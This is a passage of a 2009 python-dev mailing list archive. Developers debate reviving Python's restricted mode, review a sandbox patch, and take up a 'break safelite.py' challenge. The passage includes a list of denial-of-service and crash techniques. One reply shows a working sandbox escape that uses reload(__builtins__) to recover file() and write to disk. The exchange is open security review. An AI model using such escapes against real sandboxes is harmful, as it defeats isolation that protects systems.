Actually, its essential components are easily retrieved through a hack (Google for it ;-). If I weren't so busy I would have made it importable a long time agon. > It does, however, have the advantage of having been used in Zope for oh, six > or seven years now? ISTM that it first came out around the same time as > Python 2.3, and the latest version just dropped support for Python 2.1 and > 2.2. So, if you want something that wasn't thrown together in an afternoon, > it might be a good thing to take a look at. ;-) > > >> The other reason I can think of is that Tav is a capabilities purist. :-) > > You can implement capabilities on top of RestrictedPython; it's simply a > policy-neutral enforcement framework. > > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From victor.stinner at haypocalc.com Mon Feb 23 16:57:52 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Mon, 23 Feb 2009 16:57:52 +0100 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: Message-ID: <200902231657.52201.victor.stinner@haypocalc.com> Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez ?crit?: > I've received some enthusiastic emails from someone who wants to > revive restricted mode. > (...) > Based on his code (the file secure.py is all you need, included in > secure.tar.gz) it seems he believes the only security leaks are > __subclasses__, gi_frame and gi_code. (I have since convinced him that > if we add "restricted" guards to these attributes, he doesn't need the > functions added to sys.) Some ways to "crash" Python: - use ctypes: invalid memory read/write - use os.kill(): kill the current process - call buggy function: invalid memory read/write or denial of service - "while 1: pass": denial of service - allocate many huge objects: MemoryError (maybe invalid memory read/write) - load a buggy .pyc file: invalid memory read/write - recursive structures/function calls: stack overflow (in buggy functions, see the bug tracker) - etc. Protections against these attacks: - Module whitelist (or a least use a blacklist of all modules written in C) - use system quota: resource.setrlimit() on Linux => set max CPU time and max memory limits (or signal.alarm() for the timeout) - Run a fuzzer on Python and fix all bugs :-) I wrote a short document in Python's wiki on the different security projects: http://wiki.python.org/moin/Security -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From guido at python.org Mon Feb 23 17:01:50 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 08:01:50 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <200902231657.52201.victor.stinner@haypocalc.com> References: <200902231657.52201.victor.stinner@haypocalc.com> Message-ID: None of those are useful attacks on app engine though. On Mon, Feb 23, 2009 at 7:57 AM, Victor Stinner wrote: > Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez ?crit : >> I've received some enthusiastic emails from someone who wants to >> revive restricted mode. >> (...) >> Based on his code (the file secure.py is all you need, included in >> secure.tar.gz) it seems he believes the only security leaks are >> __subclasses__, gi_frame and gi_code. (I have since convinced him that >> if we add "restricted" guards to these attributes, he doesn't need the >> functions added to sys.) > > Some ways to "crash" Python: > > - use ctypes: invalid memory read/write > - use os.kill(): kill the current process > - call buggy function: invalid memory read/write or denial of service > - "while 1: pass": denial of service > - allocate many huge objects: MemoryError (maybe invalid memory read/write) > - load a buggy .pyc file: invalid memory read/write > - recursive structures/function calls: stack overflow (in buggy functions, > see the bug tracker) > - etc. > > Protections against these attacks: > > - Module whitelist (or a least use a blacklist of all modules written in C) > - use system quota: resource.setrlimit() on Linux => set max CPU > time and max memory limits (or signal.alarm() for the timeout) > - Run a fuzzer on Python and fix all bugs :-) > > I wrote a short document in Python's wiki on the different security projects: > > http://wiki.python.org/moin/Security > > -- > Victor Stinner aka haypo > http://www.haypocalc.com/blog/ > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From tav at espians.com Mon Feb 23 18:23:08 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 17:23:08 +0000 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <49A1CE8D.9000508@v.loewis.de> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: Dearest fellow Python lovers, Could one of you please review: http://codereview.appspot.com/20051 The patch is a mere 6 lines of code and provides the absolute minimum that is needed to secure the Python interpreter! [This patch is for Python 2.5.4 -- I can create one for the other branches too if wanted...] It turns out that the __builtins__ based restricted framework is pure genius and gives us nearly everything that's needed to secure our beloved interpreter. This patch simply closes the two holes in 2.5.x -- type.__subclasses__ and GeneratorType.gi_frame. GeneratorType.gi_code would need to be restricted in 2.6 and above. The problem with rexec and brethren have simply been that we tried to do class-based sandboxing. This approach is filled with dark exploitable corners. In contrast, a function-based approach gives us security through the simplicity of the object-capability model. Or at least I currently believe so =) Once this patch gets through onto App Engine, I'll create an app with a sandboxed framework built around it and you can all prove me wrong. But, for the sake of my relationship with the missus, I hope not ;p Please note that this patch doesn't do anything to prevent any of the various crashers in Python. It is not the intention of this patch to make the interpreter invincible against segfaults or exhaustion of resource attacks. For that, I heartily recommend taking a look at PyPy's sandboxed interpreter and/or the magic of App Engine. In the extremely remote chance that I am right -- pigs could fly, right? ;p -- and the sandboxed App Engine app turns out to be impenetrable, I would like to then get approval to simplify the current restricted execution support in the interpreter and create a modernised equivalent of the rexec module. Does that seem reasonable to you all? tav> http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util martin> What is the objective of this code? Is it a complete martin> sandbox? If not, is a complete sandbox based on martin> it available somehow for review? Martin, sorry, not yet. I'll code one once the patch gets through and release it for use/review. And if people like it, it could form the basis for the modernised rexec I mentioned above... krstic> http://radian.org/~krstic/sandbox.py Thank you Ivan for that Genshi sample! Would you be interested in working with me on the Genshi aspect for the new sandbox framework? pje> Just a question, but, if you just need a pure-python pje> restricted environment for App Engine, why not just pje> use the RestrictedPython package? I'm aware of the various Zope offerings. Performance is the answer to your question. Also, when it comes to security, I am a deep believer in simplicity. Thanks again! -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | @tav | skype:tavespian From tav at espians.com Mon Feb 23 18:37:47 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 17:37:47 +0000 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: And, here's a version for Python 2.6+ -- diffed against an svn checkout of the current python/trunk: http://codereview.appspot.com/21051/show Please review also. Cheers! -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | @tav | skype:tavespian From amk at amk.ca Mon Feb 23 18:43:39 2009 From: amk at amk.ca (A.M. Kuchling) Date: Mon, 23 Feb 2009 12:43:39 -0500 Subject: [Python-Dev] Greg Ward email In-Reply-To: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com> References: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com> Message-ID: <20090223174339.GA10442@amk-desktop.matrixgroup.net> On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziad? wrote: > I am trying to reach Greg Ward to get a maintainer access to Distutils > at PyPI, but his email address at python.net (and some other) doesn't > work anymore. Greg's website at www.gerg.ca (not a typo!) has e-mail addresses. However, the package index entry at http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author, but it's not actually owned by him; it looks like some random person registered it. So we should probably just reassign the package to Tarek. --amk From ziade.tarek at gmail.com Mon Feb 23 19:05:22 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Mon, 23 Feb 2009 19:05:22 +0100 Subject: [Python-Dev] Greg Ward email In-Reply-To: <20090223174339.GA10442@amk-desktop.matrixgroup.net> References: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com> <20090223174339.GA10442@amk-desktop.matrixgroup.net> Message-ID: <94bdd2610902231005x5c9156d4ic6b4cc9d6388b8af@mail.gmail.com> On Mon, Feb 23, 2009 at 6:43 PM, A.M. Kuchling wrote: > On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziad? wrote: >> I am trying to reach Greg Ward to get a maintainer access to Distutils >> at PyPI, but his email address at python.net (and some other) doesn't >> work anymore. > > Greg's website at www.gerg.ca (not a typo!) has e-mail addresses. Yes that's were I tried at first > > However, the package index entry at > http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author, > but it's not actually owned by him; it looks like some random person > registered it. So we should probably just reassign the package to Tarek. That would be great, so i can start to release the standalone versions, Thanks Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From brett at python.org Mon Feb 23 20:02:46 2009 From: brett at python.org (Brett Cannon) Date: Mon, 23 Feb 2009 11:02:46 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090223064120.GA22889@panix.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> <20090223064120.GA22889@panix.com> Message-ID: On Sun, Feb 22, 2009 at 22:41, Aahz wrote: > On Sun, Feb 22, 2009, Brett Cannon wrote: > > On Sat, Feb 21, 2009 at 20:12, Aahz wrote: > >> On Sat, Feb 21, 2009, Brett Cannon wrote: > >>> On Sat, Feb 21, 2009 at 15:46, Aahz wrote: > >>>> On Sat, Feb 21, 2009, Brett Cannon wrote: > >>>>> > >>>>> I am seeing two approaches emerging. One is where pickle contains all > >>>>> Python code and then uses something like use_extension to make sure > >>>>> the original Python objects are still reachable at some point. This > >>>>> has the drawback that you have to use some function to make the > >>>>> extensions happen and there is some extra object storage. > >>>>> > >>>>> The other approach is having pickle contain code known not to > >>>>> be overridden by anyone, import _pypickle for stuff that may be > >>>>> overridden, and then import _pickle for whatever is available. This > >>>>> approach has the perk of using a standard practice for how to pull in > >>>>> different implementation. But the drawback, thanks to how globals are > >>>>> bound, is that any code pulled in from _pickle/_pypickle will not be > >>>>> able to call into other optimized code; it's a take or leave it once > >>>>> the call chain enters one of those modules as they will always call > >>>>> the implementations in the module they originate from. > >>>> > >>>> To what extent do we care about being able to select Python-only on a > >>>> per-module basis, particularly in the face of threaded imports? That > >> is, > >>>> we could have a sys.python_only attribute that gets checked on import. > >>>> That's simple and direct, and even allows per-module switching if the > >>>> application really cares and import doesn't need to worry about > threads. > >>>> > >>>> Alternatively, sys.python_only could be a set, but that gets ugly > about > >>>> setting from the application. (The module checks to see whether it's > >>>> listed in sys.python_only.) > >>>> > >>>> Maybe we should move this discussion to python-ideas for now to kick > >>>> around really oddball suggestions? > >>> > >>> This is all about testing. If a change is made to some extension code > it > >>> should be mirrored in the Python code and vice-versa. > >> > >> Okay, I don't see how that is a response to my suggestion -- I can > >> imagine that someone might want to test a combination of pure-Python and > >> binary libraries. > > > > I don't want to move it because this isn't some idea for a new feature > that > > may or may not be useful; this isn't an "idea", it's needed. > > That's fine, but what about my idea of using sys.python_only? But what is it supposed to represent? That only pure Python modules get imported? What if the module depends on another module that is an extension module? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Mon Feb 23 20:05:39 2009 From: brett at python.org (Brett Cannon) Date: Mon, 23 Feb 2009 11:05:39 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <49A2906A.3030202@gmail.com> References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> <49A2906A.3030202@gmail.com> Message-ID: On Mon, Feb 23, 2009 at 04:02, Nick Coghlan wrote: > Brett Cannon wrote: > > I don't want to move it because this isn't some idea for a new feature > > that may or may not be useful; this isn't an "idea", it's needed. > > It is needed, but it's only really needed in the test suite. The > "sys.modules hackery" needed to get a Python-only version using the > existing idiom really isn't that complicated and the associated import > behaviour is perfectly well defined (putting a 0 in sys.modules may > currently be a bit questionable, but I'd prefer to make sure that is > officially supported with the desired effect rather than trying to > define a new idiom for the actual library code for handling optional > optimised extension modules). > > So, I'm still not seeing any significant problem with providing a > utility function in test.support that hides that hackery and returns the > pure Python version of the module. > Well, neither do I as your proposed approach below is what I do for warnings. But I think you and I, Nick, are more comfortable with mucking with imports than most people. =) I think some people early on in this thread said they didn't like the idea of screwing around with sys.modules. But doing that along with an import * from the extension module is probably the simplest solution. -Brett > > For example, a version that allows any number of extension modules to be > suppressed when importing a module (defaulting to the Foo/_Foo naming): > > import sys > def import_python_only(mod_name, *ext_names): > if not ext_names: > ext_names = (("_" + mod_name),) > orig_modules = {} > if name in sys.modules: > orig_modules[name] = sys.modules[name] > del sys.modules[name] > try: > for name in ext_names: > orig_modules[name] = sys.modules[name] > sys.modules[name] = 0 > py_module = importlib.import_module(mod_name) > finally: > for name, module in orig_modules.items(): > sys.modules[name] = module > return py_module > > Cheers, > Nick. > > -- > Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia > --------------------------------------------------------------- > -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Mon Feb 23 20:32:47 2009 From: brett at python.org (Brett Cannon) Date: Mon, 23 Feb 2009 11:32:47 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> Message-ID: On Mon, Feb 23, 2009 at 09:23, tav wrote: > Dearest fellow Python lovers, > > Could one of you please review: > > http://codereview.appspot.com/20051 > > The patch is a mere 6 lines of code and provides the absolute minimum > that is needed to secure the Python interpreter! [This patch is for > Python 2.5.4 -- I can create one for the other branches too if > wanted...] > > It turns out that the __builtins__ based restricted framework is pure > genius and gives us nearly everything that's needed to secure our > beloved interpreter. This patch simply closes the two holes in 2.5.x > -- type.__subclasses__ and GeneratorType.gi_frame. > GeneratorType.gi_code would need to be restricted in 2.6 and above. > > The problem with rexec and brethren have simply been that we tried to > do class-based sandboxing. This approach is filled with dark > exploitable corners. In contrast, a function-based approach gives us > security through the simplicity of the object-capability model. > If you block __closure__ and __globals__ on function objects you will get a semblance of a private namespace. That way you might (I have not thought this one through like securing the interpreter for embedding) be able to get what you need to safely pass in Python code through the globals of the code being executed. -Brett > > Or at least I currently believe so =) > > Once this patch gets through onto App Engine, I'll create an app with > a sandboxed framework built around it and you can all prove me wrong. > But, for the sake of my relationship with the missus, I hope not ;p > > Please note that this patch doesn't do anything to prevent any of the > various crashers in Python. It is not the intention of this patch to > make the interpreter invincible against segfaults or exhaustion of > resource attacks. For that, I heartily recommend taking a look at > PyPy's sandboxed interpreter and/or the magic of App Engine. > > In the extremely remote chance that I am right -- pigs could fly, > right? ;p -- and the sandboxed App Engine app turns out to be > impenetrable, I would like to then get approval to simplify the > current restricted execution support in the interpreter and create a > modernised equivalent of the rexec module. > > Does that seem reasonable to you all? > > tav> > http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util > > martin> What is the objective of this code? Is it a complete > martin> sandbox? If not, is a complete sandbox based on > martin> it available somehow for review? > > Martin, sorry, not yet. > > I'll code one once the patch gets through and release it for use/review. > > And if people like it, it could form the basis for the modernised > rexec I mentioned above... > > krstic> http://radian.org/~krstic/sandbox.py > > Thank you Ivan for that Genshi sample! > > Would you be interested in working with me on the Genshi aspect for > the new sandbox framework? > > pje> Just a question, but, if you just need a pure-python > pje> restricted environment for App Engine, why not just > pje> use the RestrictedPython package? > > I'm aware of the various Zope offerings. > > Performance is the answer to your question. > > Also, when it comes to security, I am a deep believer in simplicity. > > Thanks again! > > -- > love, tav > > plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 > http://tav.espians.com | @tav | skype:tavespian > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/brett%40python.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From steven.bethard at gmail.com Mon Feb 23 20:45:59 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 23 Feb 2009 11:45:59 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> <49A2906A.3030202@gmail.com> Message-ID: On Mon, Feb 23, 2009 at 04:02, Nick Coghlan wrote: > For example, a version that allows any number of extension modules to be > suppressed when importing a module (defaulting to the Foo/_Foo naming): > > import sys > def import_python_only(mod_name, *ext_names): > if not ext_names: > ext_names = (("_" + mod_name),) > orig_modules = {} > if name in sys.modules: > orig_modules[name] = sys.modules[name] > del sys.modules[name] > try: > for name in ext_names: > orig_modules[name] = sys.modules[name] > sys.modules[name] = 0 > py_module = importlib.import_module(mod_name) > finally: > for name, module in orig_modules.items(): > sys.modules[name] = module > return py_module On Mon, Feb 23, 2009 at 11:05 AM, Brett Cannon wrote: > Well, neither do I as your proposed approach below is what I do for > warnings. But I think you and I, Nick, are more comfortable with mucking > with imports than most people. =) I think some people early on in this > thread said they didn't like the idea of screwing around with sys.modules. > But doing that along with an import * from the extension module is probably > the simplest solution. +1 for something like Nick's code. No one has to know they're mucking around with sys.modules - they just have to use the import_python_only() function. (And I haven't seen anything in this thread that's really any better.) Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From tav at espians.com Mon Feb 23 21:10:29 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 20:10:29 +0000 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) Message-ID: Hey all, As an attempt to convince everyone of the merits of my functions-based approach to security, I've come up with a simple challenge. I've attached it as safelite.py The challenge is simple: * Open a fresh Python interpreter * Do: >>> from safelite import FileReader * You can use FileReader to read files on your filesystem * Now find a way to *write* to the filesystem from your interpreter Please note that the aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count. I'm keen to know your experiences even if you don't manage to write to the filesystem -- and especially if you do! Dinner and drinks on me for an evening -- when you are next in London or I am in your town -- to the first person who manages to break safelite.py and write to the filesystem. Good luck and thanks! =) > If you block __closure__ and __globals__ on function objects you will get a > semblance of a private namespace. That way you might (I have not thought > this one through like securing the interpreter for embedding) be able to get > what you need to safely pass in Python code through the globals of the code > being executed. Brett, this is exactly what I do. You also need to restrict func_code. The patch is simply for closing the other loopholes: type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible in a patch of 6 lines of code thanks to Python's existing restricted framework in the interpreter. Please review and accept =) * http://codereview.appspot.com/20051 * http://codereview.appspot.com/21051 Thanks! -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | @tav | skype:tavespian -------------- next part -------------- A non-text attachment was scrubbed... Name: safelite.py Type: text/x-python-script Size: 5993 bytes Desc: not available URL: From brett at python.org Mon Feb 23 21:31:18 2009 From: brett at python.org (Brett Cannon) Date: Mon, 23 Feb 2009 12:31:18 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: On Mon, Feb 23, 2009 at 12:10, tav wrote: > Hey all, > > As an attempt to convince everyone of the merits of my functions-based > approach to security, I've come up with a simple challenge. I've > attached it as safelite.py > > The challenge is simple: > > * Open a fresh Python interpreter > * Do: >>> from safelite import FileReader > * You can use FileReader to read files on your filesystem > * Now find a way to *write* to the filesystem from your interpreter > > Please note that the aim of this isn't to protect Python against > crashes/segfaults or exhaustion of resources attacks, so those don't > count. > > I'm keen to know your experiences even if you don't manage to write to > the filesystem -- and especially if you do! > > Dinner and drinks on me for an evening -- when you are next in London > or I am in your town -- to the first person who manages to break > safelite.py and write to the filesystem. > > Good luck and thanks! =) > > > If you block __closure__ and __globals__ on function objects you will get > a > > semblance of a private namespace. That way you might (I have not thought > > this one through like securing the interpreter for embedding) be able to > get > > what you need to safely pass in Python code through the globals of the > code > > being executed. > > Brett, this is exactly what I do. Ah, OK. I just quickly looked at your patches on codereview and noticed that neither __closure__ or __globals__ have been touched. > You also need to restrict func_code. I assume you are worried about getting a hold of the code type and constructing code objects from scratch? > > The patch is simply for closing the other loopholes: > type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible > in a patch of 6 lines of code thanks to Python's existing restricted > framework in the interpreter. > > Please review and accept =) > I personally don't have the time. The feedback in this email is all I can spare. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From tav at espians.com Mon Feb 23 21:37:11 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 20:37:11 +0000 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: Hey Brett, > Ah, OK. I just quickly looked at your patches on codereview and noticed that > neither __closure__ or __globals__ have been touched. Those are already restricted by Python when __builtins__ is not the same as the standard one. > I assume you are worried about getting a hold of the code type and > constructing code objects from scratch? Right. And, func_code is restricted too so didn't need any additional support. >> Please review and accept =) > I personally don't have the time. The feedback in this email is all I can > spare. That's cool -- thanks for this much! I'm hoping someone out there has a few spare minutes. The patch is just 6 lines of code... Someone? Pretty please? =) -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | @tav | skype:tavespian From steven.bethard at gmail.com Mon Feb 23 21:40:15 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 23 Feb 2009 12:40:15 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: On Mon, Feb 23, 2009 at 12:10 PM, tav wrote: > Hey all, > > As an attempt to convince everyone of the merits of my functions-based > approach to security, I've come up with a simple challenge. I've > attached it as safelite.py > > The challenge is simple: > > * Open a fresh Python interpreter > * Do: >>> from safelite import FileReader > * You can use FileReader to read files on your filesystem > * Now find a way to *write* to the filesystem from your interpreter If you really want people to try and break it, I suggest you send it to c.l.py - there are load of people there with too much time on their hands. ;-) Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From guido at python.org Mon Feb 23 22:11:42 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 13:11:42 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: I sent a link out to Twitter... On Mon, Feb 23, 2009 at 12:40 PM, Steven Bethard wrote: > On Mon, Feb 23, 2009 at 12:10 PM, tav wrote: >> Hey all, >> >> As an attempt to convince everyone of the merits of my functions-based >> approach to security, I've come up with a simple challenge. I've >> attached it as safelite.py >> >> The challenge is simple: >> >> * Open a fresh Python interpreter >> * Do: >>> from safelite import FileReader >> * You can use FileReader to read files on your filesystem >> * Now find a way to *write* to the filesystem from your interpreter > > If you really want people to try and break it, I suggest you send it > to c.l.py - there are load of people there with too much time on their > hands. ;-) > > Steve > -- > I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a > tiny blip on the distant coast of sanity. > --- Bucky Katt, Get Fuzzy > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From victor.stinner at haypocalc.com Mon Feb 23 22:12:12 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Mon, 23 Feb 2009 22:12:12 +0100 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: Message-ID: <200902232212.13039.victor.stinner@haypocalc.com> > The challenge is simple: > > * Open a fresh Python interpreter > * Do: >>> from safelite import FileReader > * You can use FileReader to read files on your filesystem > * Now find a way to *write* to the filesystem from your interpreter Well, the challenge is to get access to a module. And... it's quite simple :-p $ ./python >>> from safelite import FileReader >>> __builtins__.file Traceback (most recent call last): File "", line 1, in AttributeError: 'module' object has no attribute 'file' >>> reload(__builtins__) >>> file('0wn3d', 'w').write('w00t\n') >>> $ cat 0wn3d w00t > Dinner and drinks on me for an evening -- when you are next in London > or I am in your town -- to the first person who manages to break > safelite.py and write to the filesystem. Cool. It's a good reason to go to Pycon UK this yeak ;-) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From ncoghlan at gmail.com Mon Feb 23 22:23:10 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Tue, 24 Feb 2009 07:23:10 +1000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> <20090222041232.GA25580@panix.com> <49A2906A.3030202@gmail.com> Message-ID: <49A313BE.4090003@gmail.com> Brett Cannon wrote: > Well, neither do I as your proposed approach below is what I do for > warnings. It's possible I actually had test_warnings.py open in another window while writing that example function... ;) As Steven said, your concerns are precisely why I'm suggesting hiding this in a helper function - so people that aren't quite as comfortable playing games with sys.modules can still use it to suppress particular extension modules when writing tests. Initially for the Python regression test suite only, but perhaps eventually in importlib if we're happy with the way it works out for us. Created http://bugs.python.org/issue5354 and assigned it to myself so we don't forget about it. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From tav at espians.com Mon Feb 23 22:34:12 2009 From: tav at espians.com (tav) Date: Mon, 23 Feb 2009 21:34:12 +0000 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: <200902232212.13039.victor.stinner@haypocalc.com> References: <200902232212.13039.victor.stinner@haypocalc.com> Message-ID: Woo! victor> >>> file('0wn3d', 'w').write('w00t\n') victor> Cool. It's a good reason to go to Pycon UK this yeak ;-) Thank you so much Victor! Please mail/phone me when you are heading to London and I shall honour the evening out! Now, how about this adapted version without reload? I could make life much easier for myself by just removing all builtins except the fundamental types, but this is way more interesting!! Please continue the challenge the same as before, but with the new safelite.py steven> If you really want people to try and break it, I steven> suggest you send it to c.l.py Done. -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian -------------- next part -------------- A non-text attachment was scrubbed... Name: safelite.py Type: text/x-python-script Size: 6033 bytes Desc: not available URL: From guido at python.org Mon Feb 23 22:36:47 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 13:36:47 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: <200902232212.13039.victor.stinner@haypocalc.com> References: <200902232212.13039.victor.stinner@haypocalc.com> Message-ID: On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner wrote: >> The challenge is simple: >> >> * Open a fresh Python interpreter >> * Do: >>> from safelite import FileReader >> * You can use FileReader to read files on your filesystem >> * Now find a way to *write* to the filesystem from your interpreter > > Well, the challenge is to get access to a module. And... it's quite simple :-p > > $ ./python >>>> from safelite import FileReader >>>> __builtins__.file > Traceback (most recent call last): > File "", line 1, in > AttributeError: 'module' object has no attribute 'file' >>>> reload(__builtins__) > >>>> file('0wn3d', 'w').write('w00t\n') >>>> > $ cat 0wn3d > w00t > >> Dinner and drinks on me for an evening -- when you are next in London >> or I am in your town -- to the first person who manages to break >> safelite.py and write to the filesystem. > > Cool. It's a good reason to go to Pycon UK this yeak ;-) Tav should have made another stipulation: the attack must not be trivial to fix. This one seems trivial, e.g. by adding 'reload' to the list in secure_python_builtins(). -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Mon Feb 23 22:38:21 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 23 Feb 2009 13:38:21 -0800 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: <200902232212.13039.victor.stinner@haypocalc.com> Message-ID: On Mon, Feb 23, 2009 at 1:36 PM, Guido van Rossum wrote: > On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner > wrote: >>> The challenge is simple: >>> >>> * Open a fresh Python interpreter >>> * Do: >>> from safelite import FileReader >>> * You can use FileReader to read files on your filesystem >>> * Now find a way to *write* to the filesystem from your interpreter >> >> Well, the challenge is to get access to a module. And... it's quite simple :-p >> >> $ ./python >>>>> from safelite import FileReader >>>>> __builtins__.file >> Traceback (most recent call last): >> File "", line 1, in >> AttributeError: 'module' object has no attribute 'file' >>>>> reload(__builtins__) >> >>>>> file('0wn3d', 'w').write('w00t\n') >>>>> >> $ cat 0wn3d >> w00t >> >>> Dinner and drinks on me for an evening -- when you are next in London >>> or I am in your town -- to the first person who manages to break >>> safelite.py and write to the filesystem. >> >> Cool. It's a good reason to go to Pycon UK this yeak ;-) > > Tav should have made another stipulation: the attack must not be > trivial to fix. This one seems trivial, e.g. by adding 'reload' to the > list in secure_python_builtins(). I take it back, we need to find all the trivial ones too. BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From victor.stinner at haypocalc.com Mon Feb 23 23:10:59 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Mon, 23 Feb 2009 23:10:59 +0100 Subject: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) In-Reply-To: References: <200902232212.13039.victor.stinner@haypocalc.com> Message-ID: <200902232310.59615.victor.stinner@haypocalc.com> Le Monday 23 February 2009 22:36:47, vous avez ?crit?: > >>>> reload(__builtins__) > (...) > > Tav should have made another stipulation: the attack must not be > trivial to fix. Why not? Any hole is enough to break a jail. The cracker doesn't care if it's trivial to fix or not :-p -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From brett at python.org Mon Feb 23 23:12:06 2009 From: brett at python.org (Brett Cannon) Date: Mon, 23 Feb 2009 14:12:06 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <49A313BE.4090003@gmail.com> References: 